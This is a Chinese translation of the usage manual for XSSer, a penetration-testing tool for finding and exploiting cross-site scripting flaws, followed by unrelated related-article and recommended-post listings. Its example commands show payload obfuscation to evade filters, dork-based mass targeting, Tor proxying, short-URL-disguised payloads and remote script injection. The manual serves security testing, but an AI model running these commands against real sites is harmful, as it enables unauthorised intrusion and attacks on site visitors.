超强XSS攻击利器
BackTrack 5 R1 XSS研究之XSSer(超强XSS攻击利器)使用说明中文版
XSSer使用说明
================================================================
简介:
===============================================================
跨站脚本者是一个自动框架,检测,利用和报告基于Web应用XSS漏洞。它包含几个选项,试图绕过某些过滤器,以及各种特殊的代码注入技术。
XSSer由一个遵循GPL V3的团队完成,版权属于psy ( - ).
================================================================
选项与设置:
==============================
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g
<get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)]
[Bypasser(s)] [Technique(s)] [Final Injection(s)]
Options:
--version 显示程序的版本号
-h, --help 显示帮助信息
-s, --statistics 显示高级显示输出结果
-v, --verbose 激活冗余模式输出结果
--gtk 加载 XSSer GTK 接口
*特别的用法*:
你可以选择 Vector(s) 和 Bypasser(s) 结合特殊的用法来注入代码:
--imx=IMX 利用XSS代码植入来创建一个假的图象
--fla=FLASH 利用XSS代码植入来创建一个假的swf
*选择目标*:
至少有一个选择必须被指定来设置来源以获得目标(s)的url。. 你需要选择然后运行XSSer:
-u URL, --url=URL 键入目标URL进行分析
-i READFILE 从一个文件中读取URL
-d DORK 利用搜索引擎傻瓜式的搜索URL
--De=DORK_ENGINE 傻瓜式的利用搜索引擎 (bing, altavista,yahoo, baidu, yandex, youdao, webcrawler, ask, etc.查看 dork.py 文件来核对有效的搜索引擎)
*现则HTTP/HTTPS的连接类型*:
These options can be used to specify which parameter(s) we want to use
like payload to inject code.
-g GETDATA 输入一个负荷来进行审计,使用 GET参数 (例如: '/menu.php?q=')
-p POSTDATA 输入一个负荷来进行审计,使用 POST 参数(例如: 'foo=1&bar=')
-c CRAWLING 目标URL的爬行数目(s): 1-99999
--Cw=CRAWLER_WIDTH 爬行深度: 1-5
--Cl 本地目标URL爬行 (默认 TRUE)
*安装 请求*:
这些选项被用来制定如何攻击目标和使用负荷. 你有多重选择:
--cookie=COOKIE 改变你的HTTP Cookie header
--user-agent=AGENT 改变你的 HTTP User-Agent header (默认 SPOOFED)
--referer=REFERER 使用别的HTTP Referer header (默认 NONE)
--headers=HEADERS 额外的 HTTP headers 换行隔开
--auth-type=ATYPE HTTP 认证类型 (基本值类型或者摘要)
--auth-cred=ACRED HTTP 认证证书 (值 name:password)
--proxy=PROXY 使用代理服务器 (tor:http://localhost:8118)
--timeout=TIMEOUT 设定时间延迟 (默认 30)
--delay=DELAY 设定每一个 HTTP request值 (默认 8)
--threads=THREADS 最大数目的 HTTP requests并发 (默认 5)
--retries=RETRIES 连接超时重试 (默认 3)
*系统验校器*:
这些选项对于有过滤器的XSS 攻击很有效 和或者重复所利用的代码:
--hash 如果目标重复内容,则每次检测hash
(对预知可能错误的结果非常有用)
--heuristic 启发式的设置才检测那些脚本会被过滤: ;\/<>"'=
*选择 攻击向量(s)*:
这些选项被用在特殊的 XSS 向量源代码来注入到每一个负荷中。非常重要的, 如果你不想尝试通用的XSS注入代码,
请使用默认参数. 只有一个选项:
--payload=SCRIPT OWN - 插入你手动构造的XSS 语句-
--auto AUTO - 从文件中插入 XSSer '报告' 向量
*选择 Bypasser(s)*:
这些选项用来编码所选择的攻击向量,如果目标使用反XSS过滤器代码和IPS规则,则尝试绕过所有的目标上的反XSS 过滤器代码和入侵防御系统规则,
. 总之, 能结合其他的技巧 来提供编码:
--Str 使用 String.FromCharCode()方法
--Une 使用 Unescape() 函数
--Mix 最小的 String.FromCharCode() 函数 和 Unescape()函数
--Dec 使用小数编码
--Hex 使用16进制编码
--Hes 使用带分号的16进制编码
--Dwo 编码IP地址向量为双字节
--Doo 编码IP地址向量为八进制
--Cem=CEM 手动尝试不同的字符编码
(反向混淆效果更好) -> (例如: 'Mix,Une,Str,Hex')
*特殊的技巧*:
这些选项被用来尝试不同的XSS 技巧. 你可以进行多重选择:
--Coo COO - 跨站脚本Cookies注入
--Xsa XSA - 跨站Agent 脚本
--Xsr XSR - 跨站 Referer 脚本
--Dcp DCP - DCP注入
--Dom DOM - DOM注入
--Ind IND - HTTP 包含代码的快速响应
--Anchor ANC - 使用影子攻击负荷 (DOM 影子!)
*Select Final injection(s)*:
这些选项在攻击目标中用于特殊代码注入 Important, if you want to exploit on-the-wild
your discovered vulnerabilities. Choose only one option:
--Fp=FINALPAYLOAD OWN - 手动插入注入代码-
--Fr=FINALREMOTE REMOTE - 远程插入注入代码
--Doss DOSs - XSS 对服务端的拒绝服务攻击注入
--Dos DOS - XSS 对客户端的拒绝服务攻击注入
--B64 B64 - META标签 Base64编码(rfc2397)
*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in
vulnerable target(s). You can select multiple and combine with your
final code (except with DCP code):
--Onm ONM - 使用 MouseMove() 事件注入代码
--Ifr IFR - 使用 <iframe>资源标签注入代码
*混杂模式*:
--silent 禁止控制台输出结果
--update 检查XSSer 最新稳定版本
--save 直接输入结果到模版文件 (XSSlist.dat)
--xml=FILEXML 输出 'positives'到一个XML文件 (--xml filename.xml)
--publish 输出 'positives'本地网络 (identi.ca)
--short=SHORTURLS 显示最后的短代码 (tinyurl, is.gd)
--launch 发现的每个XSS都在浏览器进行测试
================================================================
用法举例:
==============================
* 从URL进行简单XSS注入:
$ Python XSSer.py -u "http://host.com"
-------------------
* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:
$ python XSSer.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码 "Hex", 产生冗长的输出,并且将结果保存到一个文件 (XSSlist.dat):
$ python XSSer.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三,
把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为 "20" and 使用多线程 (5 个线程):
$ python XSSer.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
* 从文件读取进行高级注入, 负荷采用 -own- payload 参数,并且使用Unescape() 函数进行字符编码绕过检测:
$ python XSSer.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="JavaScript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
-------------------
* 傻瓜式的选择 "duck" 引擎进行注入 (XSSer 蠕虫!):
$ python XSSer.py --De "duck" -d "search.php?"
-------------------
* 注入爬行深度为3 ,页面数目(宽度)为4 来进行检测(XSSer 蜘蛛!):
$ python XSSer.py -c3 --Cw=4 -u "http://host.com"
-------------------
* 从URL简单注入, 使用POST方式, 并且统计结果:
$ python XSSer.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
* 从URL进行多重注入,发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个 "tinyurl" 短网址 (为分享者准备!):
$ python XSSer.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
-------------------
* 从URL进行简单注入, 使用 GET 参数, 用Cookies参数注入一个向量, 尝试使用一个 DOM 幽灵空间 (服务器无日志记录!) 如果存在任何 "漏洞", 则手工植入 "恶意" 代码 (为真正的攻击者准备!):
$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"
-------------------
* 从URL进行简单注入, 使用 GET 参数, 尝试产生一个带 "恶意代码" 短网址 (is.gd) 使用一个有效的DOS来攻击客户端:
$ python XSSer.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为 "20" ,并且使用多线程(5 个线程), 增加延时到10 s,
注入参数到HTTP 的USer-Agent, HTTP 参数 和 Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计,
冗长 模式创建短网址 (tinyurl) 来发现任何有效的攻击负荷 (真正的攻击模式!):
$ python XSSer.py -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
* 注入用户的XSS攻击向量在 "在空白处"创建带恶意代码的虚假图片, 并且准备被上传.
$ python XSSer.py --Imx "test.png" --payload "!在这儿输入你的恶意代码!"
-------------------
* 报告输出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接写入到一个 XML 文件.
$ python XSSer.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
-------------------
* 在 dorking 搜索中输出正确的结果 (使用 "duck" 标示) 可以直接查看http://identi.ca
(XSS 渗透测试 Vs 僵尸网络联盟)
$ python XSSer.py -d "login.php" --De "duck" --publish
* 在线例子:
-http://identi.ca/xsserbot01
-http://twitter.com/xsserbot01
-------------------
* 使用XSS代码注入创建一个 .swf 文件
$ python XSSer.py --imx "name_of_file"
-------------------
* 如果目标产生错误的结果,则每次发送一个检测hash。
$ python XSSer.py -u "host.com" --check
-------------------
* 从URL进行多重Fuzz注入, 包含 DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.
$ python XSSer.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.
$ python XSSer.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
* 利用自己的 "own" -远程代码-直接在浏览器中进行加载和Fuzz测试。
$ python XSSer.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
超强XSS攻击利器的更多相关文章
- CSP内容安全策略总结及如何抵御 XSS 攻击
跨域脚本攻击 XSS 是最常见.危害最大的网页安全漏洞.为了防止它们,要采取很多编程措施,非常麻烦.很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本?这就是"网页安全政策&q ...
- 防御XSS攻击-encode用户输入内容的重要性
一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...
- 防止XSS攻击的方法
什么是XSS? 使用Jsoup来防止XSS攻击 Jsoup官网 Jsoup中文 maven包引入 <dependency> <groupId>org.jsoup</gro ...
- PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数
XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
- XSS攻击及防御
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...
- XSS攻击
什么是XSS? http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html XSS攻击及防御? http://blog.csdn. ...
- 文本XSS攻击过滤
在FCK或百度编辑器等常用富文本编辑器中,通常是会被XSS攻击 处理方法: 文本框模拟输入了以下文本 <span style="dispaly:none" onclick=& ...
- XSS攻击的解决方法
在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...
随机推荐
- mybatis结合generator进行分页插件PluginAdapter开发
使用org.mybatis.generator生成UserExample时,无法进行分页,使用下面这个类运行generator便可以生成分页相关的属性了 package org.mybatis.gen ...
- simple-todo: 一个简易的 todo 程序 - django版
今天无意间看到 simple-todo: 一个简易的 todo 程序 - web.py 中文教程 ,然后发现竟然有好多的版本 http://simple-is-better.com/news/tag ...
- iOS设计模式 - (1)概述
近期可自由安排的时间比較多, iOS应用方面, 没什么好点子, 就先放下, 不写了.花点时间学学设计模式. 之后将会写一系列博文, 记录设计模式学习过程. 当然, 由于我自己是搞iOS的, 所以之后设 ...
- java 实现打印当前月份的日历
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvcTc0NTQwMTk5MA==/font/5a6L5L2T/fontsize/400/fill/I0JBQk ...
- Scrum 时间估算
在新公司里,不懂软件工程的产品经理经常逼迫研发人员作出很不靠谱的时间估算.常见场景有下面这些: 需求未细化的情况下要求给出时间估算:比如,就一句话描述需要做一个什么样的功能,但是具体页面长什么样,交互 ...
- Python中的列表,元组,字符串之间的相互转化
Python中的列表元组和字符串之间的相互转化需要利用,tuple(),list(),str(). 示例如下: >>> the_string = "hello I'am x ...
- LoadRunner中存储表格参数------关联数组
主要用到 web_reg_save_param_ex函数("Scope=All",), sprintf( CProdNo,"{CProdNo_%d}",i ); ...
- CSS制作翻牌特效
应一个朋友要求替他把原本静态页面做成翻牌的特效. 主要应用了CSS3的transform,transiton.首先写好标签,一个ul下两个li元素,通过position的absolue设置两个li元素 ...
- 在CentOS上把PHP从5.4升级到5.5
在CentOS上把PHP从5.4升级到5.5 摘要:本文记录了在CentOS 6.3上,把PHP从5.4.8升级到5.5.13的过程. 1. 概述 在我做的一个项目中,最近我对生产服务器上的一系列系统 ...
- 减治算法之寻找第K小元素问题
一.问题描写叙述 给定一个整数数列,寻找其按递增排序后的第k个位置上的元素. 二.问题分析 借助类似快排思想实现pation函数.再利用递归思想寻找k位置. 三.算法代码 public static ...